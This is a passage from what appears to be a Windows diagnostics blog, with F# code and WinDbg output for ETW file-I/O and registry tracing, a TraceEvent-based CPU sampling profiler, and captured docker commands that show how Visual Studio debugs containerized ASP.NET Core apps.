open Microsoft.Diagnostics.Tracing.Session
open System.Collections.Generic
open Microsoft.Diagnostics.Tracing.Parsers.Kernel

type NtKeywords = KernelTraceEventParser.Keywords
type ClrKeywords = ClrTraceEventParser.Keywords

let rundownFileKeyMap sessionName =
    use session = new TraceEventSession(sessionName)

    let traceFlags = NtKeywords.DiskFileIO ||| NtKeywords.DiskIO
    session.EnableKernelProvider(traceFlags, NtKeywords.None) |> ignore

    let fileKeyMap = Dictionary<uint64, string>()
    session.Source.Kernel.add_FileIOFileRundown(fun ev -> fileKeyMap.[ev.FileKey] <- ev.FileName)

    use cts = new CancellationTokenSource(TimeSpan.FromSeconds(2.0))
    use _r = cts.Token.Register(fun _ -> session.Stop() |> ignore)

    session.Source.Process() |> ignore

    fileKeyMap

let processEvent (fileObjectAndKeyMap : Dictionary<uint64, string>) (ev : TraceEvent) =
    let opcode = int32(ev.Opcode)

    let fileKey =
        let i = ev.PayloadIndex("FileKey")
        if i >= 0 then ev.PayloadValue(i) :?> uint64 else 0UL
    let fileObject =
        let i = ev.PayloadIndex("FileObject")
        if i >= 0 then ev.PayloadValue(i) :?> uint64 else 0UL

    let path = 
        if opcode = 64 (* create *) then
            let ev = ev :?> FileIOCreateTraceData
            let fileName = ev.FileName
            fileObjectAndKeyMap.[fileObject] <- fileName
            fileName
        else
            let chooser k =
                match fileObjectAndKeyMap.TryGetValue(k) with
                | (true, s) -> Some s
                | (false, _) -> None
            seq { fileKey; fileObject } 
            |> Seq.tryPick chooser 
            |> Option.defaultValue "n/a"

    printfn "%d %s (%d) (%s) [%d.%d] (%s) key: 0x%X object: 0x%X '%s'" 
        (uint32(ev.EventIndex)) ev.EventName opcode (ev.GetType().Name) 
        ev.ProcessID ev.ThreadID ev.ProcessName fileKey fileObject path

[<EntryPoint>]
let main _ =
    let sessionName = sprintf "mytrace-%d" DateTime.UtcNow.Ticks

    use session = new TraceEventSession(sessionName)

    let traceFlags = NtKeywords.FileIOInit
    let stackFlags = NtKeywords.None
    session.EnableKernelProvider(traceFlags, stackFlags) |> ignore

    printf "Collecting rundown events..."
    let fileObjectAndKeyMap = rundownFileKeyMap (sprintf "%s_rundown" sessionName)
    printfn "done"
    printfn "Key map size: %d" fileObjectAndKeyMap.Count

    use _sub = session.Source.Kernel.Observe(fun s -> s.StartsWith("FileIO", StringComparison.Ordinal))
               |> Observable.subscribe (processEvent fileObjectAndKeyMap)

    Console.CancelKeyPress.Add(fun ev -> ev.Cancel <- true; session.Stop() |> ignore)

    session.Source.Process() |> ignore

    printfn "Key map size: %d" fileObjectAndKeyMap.Count
    0

Notice, I am not removing anything from the dictionary, so you may want to add logic for that if you plan to run the trace session for a long time.

[BONUS] What are FileObject and FileKey

I’m unsure why some FileIO events have only the FileObject field, while others have both, FileKey and FileObject. To check what these fields represent, I created a simple app in LINQPad that keeps a file open while running:

do
    use f = new StreamWriter("D:\\temp\\test.txt")

    let rec readAndWrite () =
        let r = Console.ReadLine()
        if r  "" then
            f.WriteLine(r)
            f.Flush()
            readAndWrite ()

    readAndWrite ()

Then I started a tracing app and recorded few writes:

6243 12415615435 FileIO/Write (68) (FileIOReadWriteTraceData) [7180.1784] (LINQPad6.Query) key: 0xFFFFAE0C9B0EB7C0 object: 0xFFFF970FC37949F0 'D:\temp\test.txt'
6244 12415615551 FileIO/Write (68) (FileIOReadWriteTraceData) [7180.1784] (LINQPad6.Query) key: 0xFFFFAE0C9B0EB7C0 object: 0xFFFF970FC37949F0 'D:\temp\test.txt'
17566 12449509307 FileIO/Write (68) (FileIOReadWriteTraceData) [4.9748] (System) key: 0xFFFFAE0C9B0EB7C0 object: 0xFFFF970FC37949F0 'D:\temp\test.txt'
17567 12449509409 FileIO/SetInfo (69) (FileIOInfoTraceData) [4.9748] (System) key: 0xFFFFAE0C9B0EB7C0 object: 0xFFFF970FC37949F0 'D:\temp\test.txt'

Next, I attached WinDbg to the kernel locally and checked the FileObject address:

lkd> !fileobj 0xFFFF970FC37949F0

\temp\test.txt

Device Object: 0xffff970f418ebb90   \Driver\volmgr
Vpb: 0xffff970f41ae1640
Event signalled
Access: Write SharedRead 

Flags:  0x40062
    Synchronous IO
    Sequential Only
    Cache Supported
    Handle Created

FsContext: 0xffffae0c9b0eb7c0    FsContext2: 0xffffae0c9b0eba20
Private Cache Map: 0xffff970fbccf4b18
CurrentByteOffset: e
Cache Data:
  Section Object Pointers: ffff970f4be27838
  Shared Cache Map: ffff970fbccf49a0         File Offset: e in VACB number 0
  Vacb: ffff970f3fcdfe78
  Your data is at: ffffd98630f0000e

As the !fileobj command worked, FileObject is a Kernel Object representing a file. From the WinDbg output, we can also learn that FileKey denotes the FsContext field of the FILE_OBJECT structure. As we can see in the API documentation, for the file system drivers, it must point to the FSRTL_ADVANCED_FCB_HEADER. This does not answer the initial question why some events miss this field, but at least we know its meaning.

Monitoring registry activity with ETW

20 August 2020 at 12:55

If you are working on Windows, you know that the registry is a crucial component of this system. It contains lots of system and application configuration data. Apps use the registry to access some of the in-memory OS data. Therefore, monitoring the registry activity is one of the essential parts of the troubleshooting process. Fortunately, we have several tools to help us with this task, Process Monitor being probably the most popular one. In this post, though, I am going to prove that we could use ETW for this purpose as well.

A brief introduction to the registry paths

The way how the registry stores its data is quite complicated. I will focus only on the parts required to understand the ETW data, so if you would like to dig deeper, check the awesome Windows Internals book. When we think of the registry structure, we usually imagine the Regedit panel with subtrees under a few root keys:

The root key names, such as HKEY_LOCAL_MACHINE (or HKLM), translate internally to paths understandable by the Windows object manager. For example, HKLM would become \Registry\Machine. The \Registry part references a kernel key object that we can find using, for example, WinObjEx64:

When an application tries to access a registry path, the object manager forwards the call to the configuration manager. The configuration manager parses the path and returns a handle to a key object. Each key object points to its corresponding key control block (KCB). This KCB could be shared with other key objects as the configuration manager allocates exactly one KCB for a given registry path. Additionally, each KCB has a reference count, which reflects the number of key objects referencing it. Let’s see this in action while also recording the ETW events.

Registry events

We will use the simple code below to create and later delete a registry key with a string value:

let subkey = "Software\\LowLevelDesign"

use hkcu = RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, RegistryView.Default)
do 
    use mytraceKey = hkcu.CreateSubKey(subkey)
    mytraceKey.SetValue("start", DateTime.UtcNow.ToString(), RegistryValueKind.String)

Console.WriteLine("Press enter to delete the key...")
Console.ReadLine() |> ignore

hkcu.DeleteSubKeyTree(subkey)

In a moment, I will explain why I am creating the LowLevelDesign key in a separate using scope. But first, let’s check the ETW trace for these operations:

4065.7271 (21776.18288) Registry/Open [0xFFFFAE0C9795E860] = '\REGISTRY\USER\S-1-5-21-435461841-1121519493-2341496315-1001\Software\LowLevelDesign' [0] -> 0 (0.01540)
4066.5557 (21776.18288) Registry/Open [0xFFFFAE0C9795E860] = '\REGISTRY\USER\S-1-5-21-435461841-1121519493-2341496315-1001\Software\LowLevelDesign' [0] -> 0 (0.00850)
4066.5796 Registry/KCBCreate [0xFFFFAE0CC1544D20] <- '\REGISTRY\USER\S-1-5-21-435461841-1121519493-2341496315-1001\SOFTWARE\LOWLEVELDESIGN'
4066.6179 (21776.18288) Registry/Create [0xFFFFAE0C9795E860] = '\REGISTRY\USER\S-1-5-21-435461841-1121519493-2341496315-1001\Software\LowLevelDesign' [0] -> 0 (0.10650)
4070.3576 (21776.18288) Registry/SetValue [0xFFFFAE0CC1544D20] = '\REGISTRY\USER\S-1-5-21-435461841-1121519493-2341496315-1001\SOFTWARE\LOWLEVELDESIGN\start' [0] -> 0 (0.02800)
4070.3731 (21776.18288) Registry/Close [0xFFFFAE0CC1544D20] = '\REGISTRY\USER\S-1-5-21-435461841-1121519493-2341496315-1001\SOFTWARE\LOWLEVELDESIGN' [0] -> 0 (0.00020)

<Enter pressed>

144250.1876 (21776.18288) Registry/Open [0xFFFFAE0C9795E860] = '\REGISTRY\USER\S-1-5-21-435461841-1121519493-2341496315-1001\Software\LowLevelDesign' [0] -> 0 (0.02720)
144250.2030 (21776.18288) Registry/Query [0xFFFFAE0CC1544D20] = '\REGISTRY\USER\S-1-5-21-435461841-1121519493-2341496315-1001\SOFTWARE\LOWLEVELDESIGN' [0] -> 0 (0.00430)
144250.2135 (21776.18288) Registry/Close [0xFFFFAE0CC1544D20] = '\REGISTRY\USER\S-1-5-21-435461841-1121519493-2341496315-1001\SOFTWARE\LOWLEVELDESIGN' [0] -> 0 (0.00010)
144250.7885 (21776.18288) Registry/Open [0xFFFFAE0C9795E860] = '\REGISTRY\USER\S-1-5-21-435461841-1121519493-2341496315-1001\Software\LowLevelDesign' [0] -> 0 (0.00860)
144250.9071 (21776.18288) Registry/Delete [0xFFFFAE0CC1544D20] = '\REGISTRY\USER\S-1-5-21-435461841-1121519493-2341496315-1001\SOFTWARE\LOWLEVELDESIGN' [0] -> 0 (0.06300)
144250.9087 (21776.18288) Registry/Close [0xFFFFAE0CC1544D20] = '\REGISTRY\USER\S-1-5-21-435461841-1121519493-2341496315-1001\SOFTWARE\LOWLEVELDESIGN' [0] -> 0 (0.00020)
144250.9118 Registry/KCBDelete [0xFFFFAE0CC1544D20] <- '\REGISTRY\USER\S-1-5-21-435461841-1121519493-2341496315-1001\SOFTWARE\LOWLEVELDESIGN'

If you look at the paths in the trace, you will immediately see that ETW uses the “kernel” registry paths (starting with \Registry). As the LowLevelDesign registry key didn’t exist when the app started, the configuration manager needed to create it. That’s the KCBCreate event we see in the trace:

4066.5796 Registry/KCBCreate [0xFFFFAE0CC1544D20] <- '\REGISTRY\USER\S-1-5-21-435461841-1121519493-2341496315-1001\SOFTWARE\LOWLEVELDESIGN'

We can confirm that the address is indeed a valid KCB address in WinDbg:

lkd> !reg kcb 0xFFFFAE0CC1544D20

Key              : \REGISTRY\USER\S-S-1-5-21-435461841-1121519493-2341496315-1001\SOFTWARE\LOWLEVELDESIGN
RefCount         : 0x0000000000000000
Flags            : DelayedClose, CompressedName,
ExtFlags         :
Parent           : 0xffffae0c9ac26600
KeyHive          : 0xffffae0c9a174000
KeyCell          : 0xed9160 [cell index]
TotalLevels      : 5
LayerHeight      : 0
MaxNameLen       : 0x0
MaxValueNameLen  : 0xa
MaxValueDataLen  : 0x28
LastWriteTime    : 0x 1d6760a:0x8c2420e6
KeyBodyListHead  : 0xffffae0cc1544d98 0xffffae0cc1544d98
SubKeyCount      : 0
Owner            : 0x0000000000000000
KCBLock          : 0xffffae0cc1544e18
KeyLock          : 0xffffae0cc1544e28

When I closed all the handles and deleted the LowLevelDesign key, the kernel emitted the KCBDelete key. Interestingly, when I created and deleted the LowLevelDesign key without disposing of mytraceKey, the KCBDelete event was missing. Also, the LowLevelDesign KCB address was soon reused by another key. That’s why I placed the using scope in the original code. Let’s look in the tracing application code and explain other hex values from the trace.

KCBs, registry key names, and the trace session

All registry ETW events have the same format, but the meaning of the KeyName property is different for various OpCodes. To correctly resolve key names in “regular” registry events, we need to analyze the KCB events first. For KCBs opened/created during the trace session, we should receive a KCBCreate event. From this event, we need to save the FileName with its corresponding KeyHandle. To acquire FileNames for KCBs that were opened before our trace session started, we need to run a rundown session. This procedure is very similar to what I did for the FileIORundown events in the previous post. Sample code looks as follows:

let regHandleToKeyName = Dictionary<uint64, string>()

let processKCBCreateEvent (ev : RegistryTraceData) =
    printfn "%.4f %s [0x%X] <- '%s'" ev.TimeStampRelativeMSec ev.EventName ev.KeyHandle ev.KeyName 
    regHandleToKeyName.[ev.KeyHandle] <- ev.KeyName

let processKCBDeleteEvent (ev : RegistryTraceData) =
    printfn "%.4f %s [0x%X] <- '%s'" ev.TimeStampRelativeMSec ev.EventName ev.KeyHandle ev.KeyName 
    regHandleToKeyName.Remove(ev.KeyHandle) |> ignore

let runRundownSession sessionName =
    printf "Starting rundown session %s" sessionName
    use session = new TraceEventSession(sessionName)

    let traceFlags = NtKeywords.Registry

    session.EnableKernelProvider(traceFlags, NtKeywords.None) |> ignore

    // Accessing the source enables kernel provider so must be run after the EnableKernelProvider call
    makeKernelParserStateless session.Source
    session.Source.Kernel.add_RegistryKCBRundownBegin(Action<_>(processKCBCreateEvent))
    session.Source.Kernel.add_RegistryKCBRundownEnd(Action<_>(processKCBCreateEvent))

    // Rundown session lasts 2 secs - make it longer, if required
    use cts = new CancellationTokenSource(TimeSpan.FromSeconds(2.0))
    use _r = cts.Token.Register(fun _ -> session.Stop() |> ignore)

    session.Source.Process() |> ignore

Now, when a registry event has a non-zero KeyHandle value, we need to look up the parent path in the regHandleToKeyName dictionary and prepend it to the KeyName value from the event payload. Finally, for the “key-value” events (such as EVENT_TRACE_TYPE_REGSETVALUE), the KeyName property is, in fact, a value name. Fortunately, the RegistryTraceData class fixes this confusion by providing a ValueName property. We only need to make sure we use it for valid events. Below, you may find sample code for handling the “regular” registry events:

let filter (ev : RegistryTraceData) =
    ev.ProcessID = pid || ev.ProcessID = -1

let getFullKeyName keyHandle eventKeyName =
    let baseKeyName =
        match regHandleToKeyName.TryGetValue(keyHandle) with
        | (true, name) -> name
        | (false, _) -> ""
    Path.Combine(baseKeyName, eventKeyName)

let processKeyEvent (ev : RegistryTraceData) =
    if filter ev then
        let keyName = getFullKeyName ev.KeyHandle ev.KeyName
        printfn "%.4f (%d.%d) %s [0x%X] = '%s' [%d] -> %d (%.5f)" 
            ev.TimeStampRelativeMSec ev.ProcessID ev.ThreadID ev.EventName 
            ev.KeyHandle keyName ev.Index ev.Status ev.ElapsedTimeMSec

let processValueEvent (ev : RegistryTraceData) =
    if filter ev then
        let keyName = getFullKeyName ev.KeyHandle ev.ValueName
        printfn "%.4f (%d.%d) %s [0x%X] = '%s' [%d] -> %d (%.5f)" 
            ev.TimeStampRelativeMSec ev.ProcessID ev.ThreadID ev.EventName 
            ev.KeyHandle keyName ev.Index ev.Status ev.ElapsedTimeMSec

And the full tracer sample is available in my blog samples repository. Remember to run the code as Admin.

A CPU sampling profiler in less than 200 lines

13 October 2020 at 17:15

While working on a new version of wtrace, I am analyzing the PerfView source code to learn how its various features work internally. One of such features is the call stack resolution for ETW events. This post will show you how to use the TraceEvent library to decode call stacks, and, as an exercise, we will write a sampling process profiler. Before we start, remember to set DisablePagingExecutive to 1. That is a requirement to make call stacks work for ETW sessions.

❗ ❗ ❗ Visit wtrace.net to receive updates on wtrace and my other troubleshooting tools. ❗ ❗ ❗

Collecting profiling data

First, we need to collect trace data that we will later analyze. Our profiler will rely on SampledProfile events. Enabling them makes the Kernel emit a profiling event every 1ms for every CPU in the system. The SampledProfile event has only two fields: InstructionPointer and ThreadId. InstructionPointer is an address in the memory, so to find a method name that matches it, we need information about the images loaded by a process (the ImageLoad event). Our code to start the kernel session could look as follows:

use session = new TraceEventSession(sessionName, etlFilePath)

let traceFlags = NtKeywords.Profile ||| NtKeywords.ImageLoad
let stackFlags = NtKeywords.Profile
session.EnableKernelProvider(traceFlags, stackFlags) |> ignore

That is enough to resolve call stacks from the native images (NGEN/R2R), where CPU executes the image’s compiled code. However, resolving managed call stacks requires some more data. For managed code, the instruction pointer points to a block of JIT-compiled code that resides in a process private memory and is valid only for the process lifetime. The Kernel does not know about the CLR internals, so we need to query the CLR ETW provider. Fortunately, the ClrTraceEventParser already has a flag which contains all the necessary keywords:

public sealed class ClrTraceEventParser : TraceEventParser
{
    ...
    /// <summary>
    ///  Keywords are passed to TraceEventSession.EnableProvider to enable particular sets of
    /// </summary>
    [Flags]
    public enum Keywords : long
    {
        ...
        /// <summary>
        /// What is needed to get symbols for JIT compiled code.  
        /// </summary>
        JITSymbols = Jit | StopEnumeration | JittedMethodILToNativeMap | SupressNGen | Loader,
        ...
    };
}

We are ready to enable the CLR provider in our ETW session:

let keywords = ClrKeywords.JITSymbols
session.EnableProvider(ClrTraceEventParser.ProviderGuid, TraceEventLevel.Always, uint64(keywords)) |> ignore

Our session is now open and saves ETW events to the .etl file we specified. It’s time to perform the action we want to profile, for example, start a new process. When done, we should call Stop or Dispose to stop the ETW session and close the .etl file. For .NET processes that didn’t start or finish when the session was running, we also need to collect CLR rundown events. Without this data, we will lack JIT mappings, and we won’t be able to resolve some of the managed stacks. Here is the code for creating a rundown session:

let collectClrRundownEvents () = 
    let rec waitForRundownEvents filePath =
        // Poll until 2 seconds goes by without growth.
        let len = FileInfo(filePath).Length
        Thread.Sleep(2000)
        if FileInfo(filePath).Length = len then
            waitForRundownEvents filePath
        else ()

    printfn "Forcing rundown of JIT methods."
    let rundownFileName = Path.ChangeExtension(etlFilePath, ".clrRundown.etl")
    use rundownSession = new TraceEventSession(sessionName + "-rundown", rundownFileName)
    rundownSession.EnableProvider(ClrRundownTraceEventParser.ProviderGuid, 
        TraceEventLevel.Verbose, uint64(ClrRundownTraceEventParser.Keywords.Default)) |> ignore
    waitForRundownEvents rundownFileName
    printfn "Done with rundown."

The final steps are to merge the .etl files, add necessary module information, and prepare symbol files for the pre-compiled assemblies. Fortunately, the TraceEvent library has one method that performs all the operations mentioned above: ZippedETLWriter.WriteArchive. Internally, this method uses KernelTraceControl.dll!CreateMergedTraceFile (from WPT) to merge the .etl files and generate ‘synthetic’ events for all the modules which were loaded by processes during the trace session. If you’d like to see the PInvoke signature of this method, decrypt the OSExtensions.cs file. For all the pre-compiled assemblies (ETWTraceEventSource.GetModulesNeedingSymbols) TraceEvent generates the .pdb files (SymbolReader.GenerateNGenSymbolsForModule) and packs them into the final .zip file.

Our final recording code looks as follows:

do
    use session = new TraceEventSession(sessionName, etlFilePath)

    let traceFlags = NtKeywords.Profile ||| NtKeywords.ImageLoad // NtKeywords.Process and NtKeywords.Thread are added automatically
    let stackFlags = NtKeywords.Profile
    session.EnableKernelProvider(traceFlags, stackFlags) |> ignore

    // we need CLR to resolve managed stacks
    let keywords = ClrKeywords.JITSymbols
    session.EnableProvider(ClrTraceEventParser.ProviderGuid, TraceEventLevel.Always, uint64(keywords)) |> ignore

    printfn "Press enter to stop the tracing session"
    Console.ReadLine() |> ignore

    session.Stop() |> ignore

    collectClrRundownEvents ()

printfn "Collecting the data required for stack resolution..."
let writer = ZippedETLWriter(etlFilePath, log)
if not (writer.WriteArchive(Compression.CompressionLevel.NoCompression)) then
    printfn "Error occured while merging the data"
else
    printfn "Trace session completed"

It is very similar to the 40_SimpleTraceLog sample from the Perfview repository. So if you are looking for C# code, check it out.

Analyzing call stacks with TraceLog

Once we finished and post-processed the trace session, it’s time to analyze the collected events. Usually, when we want to process ETW events, we create the TraceEventSession instance and assign callbacks for interesting events. Using callbacks to the TraceEventSession source is the most efficient way of processing ETW events. However, this approach has some drawbacks. TraceEventParser instances are usually stateless, so if you need to work on aggregated data (processes, threads, modules), you need to implement the aggregation logic. For example, to list process lifetimes saved in the trace, we need to process the ProcessStartGroup and ProcessEndGroup events. Resolving call stacks is even more demanding and involves examining different groups of events. Fortunately, the TraceEvent library again gives us a hand and provides the TraceLog class. As stated in the documentation, TraceLog represents a higher-level event processing. It keeps a backlog of various session objects, including processes, threads, and call stacks. Our task is to instantiate the SymbolReader class, download or unpack the required symbol files, and process the event call stacks. The code below does all that:

type CallStackNode (callsCount : int32) =
    inherit Dictionary<string, CallStackNode>(StringComparer.OrdinalIgnoreCase)
    member val CallsCount = callsCount with get, set

let loadSymbols (traceLog : TraceLog) (proc : TraceProcess) =
    use symbolReader = new SymbolReader(log)

    proc.LoadedModules |> Seq.where (fun m -> not (isNull m.ModuleFile))
                       |> Seq.iter (fun m -> traceLog.CodeAddresses.LookupSymbolsForModule(symbolReader, m.ModuleFile))

let buildCallStacksTree (traceLog : TraceLog) pid tid =
    let perfInfoTaskGuid = Guid(int32 0xce1dbfb4, int16 0x137e, int16 0x4da6, byte 0x87, byte 0xb0, byte 0x3f, byte 0x59, byte 0xaa, byte 0x10, byte 0x2c, byte 0xbc)
    let perfInfoOpcode = 46

    let callStacks = CallStackNode(0)
    let processCallStack (callStack : TraceCallStack) =
        let addOrUpdateChildNode (node : CallStackNode) (callStack : TraceCallStack) =
            let decodedAddress = sprintf "%s!%s" callStack.CodeAddress.ModuleName callStack.CodeAddress.FullMethodName
            match node.TryGetValue(decodedAddress) with
            | (true, childNode) ->
                childNode.CallsCount <- childNode.CallsCount + 1
                childNode
            | (false, _) ->
                let childNode = CallStackNode(1)
                node.Add(decodedAddress, childNode)
                childNode

        let rec processStackFrame (callStackNode : CallStackNode) (callStack : TraceCallStack) =
            let caller = callStack.Caller
            if isNull caller then // root node
                callStackNode.CallsCount <- callStackNode.CallsCount + 1
            
            let childNode = 
                if isNull caller then addOrUpdateChildNode callStackNode callStack
                else processStackFrame callStackNode caller

            addOrUpdateChildNode childNode callStack
        processStackFrame callStacks callStack |> ignore
    
    traceLog.Events
    |> Seq.filter (fun ev -> ev.ProcessID = pid && ev.ThreadID = tid && ev.TaskGuid = perfInfoTaskGuid && (int32 ev.Opcode = perfInfoOpcode))
    |> Seq.iter (fun ev -> processCallStack (ev.CallStack()))

    callStacks

let tryFindProcess (traceLog : TraceLog) processNameOrPid =
    let (|Pid|ProcessName|) (s : string) =
        match Int32.TryParse(s) with
        | (true, pid) -> Pid pid
        | (false, _) -> ProcessName s

    let filter =
        match processNameOrPid with
        | Pid pid -> fun (p : TraceProcess) -> p.ProcessID = pid
        | ProcessName name -> fun (p : TraceProcess) -> String.Equals(p.Name, name, StringComparison.OrdinalIgnoreCase)

    let processes = traceLog.Processes |> Seq.where filter |> Seq.toArray
    if processes.Length = 0 then
        None
    elif processes.Length = 1 then
        Some processes.[0]
    else
        processes |> Seq.iteri (fun i p -> printfn "[%d] %s (%d): '%s'" i p.Name p.ProcessID p.CommandLine)
        printf "Which process to analyze []: "
        match Int32.TryParse(Console.ReadLine()) with
        | (false, _) -> None
        | (true, n) -> processes |> Seq.tryItem n

let analyze processNameOrPid maxDepth =

    let reader = ZippedETLReader(etlFilePath + ".zip", log)
    reader.UnpackArchive()
    
    let options = TraceLogOptions(ConversionLog = log)
    let traceLog = TraceLog.OpenOrConvert(etlFilePath, options)

    match tryFindProcess traceLog processNameOrPid with
    | None -> printfn "No matching process found in the trace"
    | Some proc ->
        printfn "%s [%s] (%d)" proc.Name proc.CommandLine proc.ProcessID

        let sw = Stopwatch.StartNew()
        printfn "[%6d ms] Loading symbols for modules in process %s (%d)" sw.ElapsedMilliseconds proc.Name proc.ProcessID
        loadSymbols traceLog proc

        // usually, system process has PID 4, but TraceEvent attaches the drivers to the Idle process (0)
        let systemProc = traceLog.Processes |> Seq.where (fun p -> p.ProcessID = 0) |> Seq.exactlyOne

        printfn "[%6d ms] Loading symbols for system modules" sw.ElapsedMilliseconds
        loadSymbols traceLog systemProc

        printfn "[%6d ms] Starting call stack analysis" sw.ElapsedMilliseconds
        let printThreadCallStacks (thread : TraceThread) =
            let callStacks = buildCallStacksTree traceLog proc.ProcessID thread.ThreadID

            let rec getCallStack depth name (callStack : CallStackNode) =
                let folder frames (kv : KeyValuePair<string, CallStackNode>) =
                    if kv.Value.Count = 0 || (maxDepth > 0 && depth >= maxDepth) then frames
                    else getCallStack (depth + 1) kv.Key kv.Value |> List.append frames

                callStack
                |> Seq.fold folder [ (sprintf "%s├─ %s [%d]" ("│ " |> String.replicate depth) name callStack.CallsCount) ]

            let stacks = getCallStack 0 (sprintf "Thread (%d) '%s'" thread.ThreadID thread.ThreadInfo) callStacks
            stacks |> List.iter (fun s -> printfn "%s" s)
        
        proc.Threads |> Seq.iter printThreadCallStacks
        printfn "[%6d ms] Completed call stack analysis" sw.ElapsedMilliseconds

An example output might look as follows (I removed some lines for brevity):

PS netcoreapp3.1> .\etwprofiler.exe analyze testproc 10
testproc ["C:\Users\me\testproc.exe" ] (15416)
[     2 ms] Loading symbols for modules in process testproc (15416)
[   428 ms] Loading symbols for system modules
[ 21400 ms] Starting call stack analysis
├─ Thread (2412) 'Startup Thread' [121]
│ ├─ ntdll!LdrInitializeThunk [11]
│ │ ├─ ntdll!LdrInitializeThunk [11]
│ │ │ ├─ ntdll!LdrpInitialize [11]
│ │ │ │ ├─ ntdll!??_LdrpInitialize [11]
│ │ │ │ │ ├─ ntdll!LdrpInitializeProcess [11]
│ │ │ │ │ │ ├─ ntdll!LdrpInitializeTls [1]
│ │ │ │ │ │ ├─ ntdll!LdrLoadDll [2]
│ │ │ │ │ │ │ ├─ ntdll!LdrpLoadDll [2]
...
├─ Thread (24168) '' [1]
│ ├─ ntdll!RtlUserThreadStart [1]
│ │ ├─ ntdll!RtlUserThreadStart [1]
│ │ │ ├─ kernel32!BaseThreadInitThunk [1]
│ │ │ │ ├─ ntdll!TppWorkerThread [1]
│ │ │ │ │ ├─ ntdll!TppAlpcpExecuteCallback [1]
│ │ │ │ │ │ ├─ rpcrt4!LrpcIoComplete [1]
│ │ │ │ │ │ │ ├─ rpcrt4!LRPC_ADDRESS::ProcessIO [1]
├─ Thread (9808) '' [0]
├─ Thread (22856) '.NET ThreadPool Worker' [1]
│ ├─ ntdll!RtlUserThreadStart [1]
│ │ ├─ ntdll!RtlUserThreadStart [1]
│ │ │ ├─ kernel32!BaseThreadInitThunk [1]
│ │ │ │ ├─ coreclr!Thread::intermediateThreadProc [1]
│ │ │ │ │ ├─ coreclr!ThreadpoolMgr::WorkerThreadStart [1]
│ │ │ │ │ │ ├─ coreclr!UnManagedPerAppDomainTPCount::DispatchWorkItem [1]
│ │ │ │ │ │ │ ├─ coreclr!ThreadpoolMgr::AsyncTimerCallbackCompletion [1]
│ │ │ │ │ │ │ │ ├─ coreclr!AppDomainTimerCallback [1]
│ │ │ │ │ │ │ │ │ ├─ coreclr!ManagedThreadBase_DispatchOuter [1]
│ │ │ │ │ │ │ │ │ │ ├─ coreclr!ManagedThreadBase_DispatchMiddle [1]
├─ Thread (12352) '.NET ThreadPool Gate' [0]
[ 21835 ms] Completed call stack analysis

The full profiler code is available in my blog samples repository. For my Dotnetos session about tracing, I also prepared the C# version so you may check it too. And, of course, I invite you to watch the whole session! 🙂

How Visual Studio debugs containerized apps

16 December 2020 at 07:30

Recently, I was looking into the internals of the Visual Studio debugger for the .NET Diagnostics Expert course. I was especially interested in how the Docker debugging works. For those of you who haven’t tried it yet, let me provide a concise description.

In Visual Studio 2019, when we work on the ASP.NET Core project, it is possible to create a launch profile that points to a Docker container, for example:

And that’s fantastic as we can launch the container directly from Visual Studio. And what’s even better, we can debug it! To make this all work, Visual Studio requires a Dockerfile in the root project folder. The default Dockerfile (which you can create in the ASP.NET Core application wizard) looks as follows:

FROM mcr.microsoft.com/dotnet/core/aspnet:3.1-buster-slim AS base
WORKDIR /app
EXPOSE 80
EXPOSE 443

FROM mcr.microsoft.com/dotnet/core/sdk:3.1-buster AS build
WORKDIR /src
COPY ["WebApplication1.csproj", ""]
RUN dotnet restore "./WebApplication1.csproj"
COPY . .
WORKDIR "/src/."
RUN dotnet build "WebApplication1.csproj" -c Release -o /app/build

FROM build AS publish
RUN dotnet publish "WebApplication1.csproj" -c Release -o /app/publish

FROM base AS final
WORKDIR /app
COPY --from=publish /app/publish .
ENTRYPOINT ["dotnet", "WebApplication1.dll"]

And that’s it. If we press F5, we land inside an application container, and we can step through our application’s code. It all looks like magic, but as usual, there are protocols and lines of code that run this machinery behind the magical facade. And in this post, we will take a sneak peek at them 😊.

But before we dive in, I need to mention the doc describing how Visual Studio builds containerized apps. It is an excellent read which explains, among many other things, how the debugger binaries land in the docker container and what differences are between Debug and Release builds. This post will focus only on the debugger bits, so please read the doc to have the full picture.

Let’s collect some traces

When I don’t know how things work, I use Process Monitor. In this case, I started the Process Monitor trace, moved back to Visual Studio, and pressed F5. Once the debugger launched, I stopped the trace and started the analysis. In the process tree (Ctrl + T), it was evident that Visual Studio uses the docker.exe client to interact with the Docker containers. I created a filter for the Operation and Path as on the image below:

With these filters in place, I was able to pick the events emitted when a parent process (in our case, Visual Studio and MSBuild) created each of the docker.exe instances:

And I had not only command-line arguments but also the call stacks! Let’s first have a look at the command lines:

"docker" ps --filter "status=running" --filter "id=4a2383dc1a410c425110cd924af9b826d9c50d577eff25d730bc07912f914331" --no-trunc --format {{.ID}} -n 1
"docker" exec -i 4a2383dc1a410c425110cd924af9b826d9c50d577eff25d730bc07912f914331 /bin/sh -c "if PID=$(pidof dotnet); then kill $PID; fi"
"docker" build -f "C:\Users\me\source\repos\WebApplication1\Dockerfile" --force-rm -t webapplication1  --label "com.microsoft.created-by=visual-studio" --label "com.microsoft.visual-studio.project-name=WebApplication1" "C:\Users\me\source\repos\WebApplication1" 
"docker" images -a --filter "reference=webapplication1" --no-trunc --format {{.ID}}
"docker" images --filter "dangling=false" --format "{{json .}}" --digests
"docker" rm -f 4a2383dc1a410c425110cd924af9b826d9c50d577eff25d730bc07912f914331
"docker" run -dt -v "C:\Users\me\vsdbg\vs2017u5:/remote_debugger:rw" -v "C:\Users\me\AppData\Roaming\Microsoft\UserSecrets:/root/.microsoft/usersecrets:ro" -v "C:\Users\me\AppData\Roaming\ASP.NET\Https:/root/.aspnet/https:ro" -e "ASPNETCORE_URLS=https://+:443;http://+:80" -e "ASPNETCORE_ENVIRONMENT=Development" -e "ASPNETCORE_LOGGING__CONSOLE__DISABLECOLORS=true" -P --name WebApplication1 --entrypoint tail webapplication1 -f /dev/null 
"docker" ps --all --format "{{.ID}}"
"docker" inspect --format="{{json .NetworkSettings.Ports}}" 019e9c646683350457a7ee1d30c85b7675a2bab28dc10ead6f851f6eb3963c43
"docker" inspect "019e9c646683"
"docker" exec -i 019e9c646683350457a7ee1d30c85b7675a2bab28dc10ead6f851f6eb3963c43 /bin/sh -c "ID=.; if [ -e /etc/os-release ]; then . /etc/os-release; fi; if [ $ID = alpine ] && [ -e /remote_debugger/linux-musl-x64/vsdbg ]; then VSDBGPATH=/remote_debugger/linux-musl-x64; else VSDBGPATH=/remote_debugger; fi; $VSDBGPATH/vsdbg --interpreter=vscode"
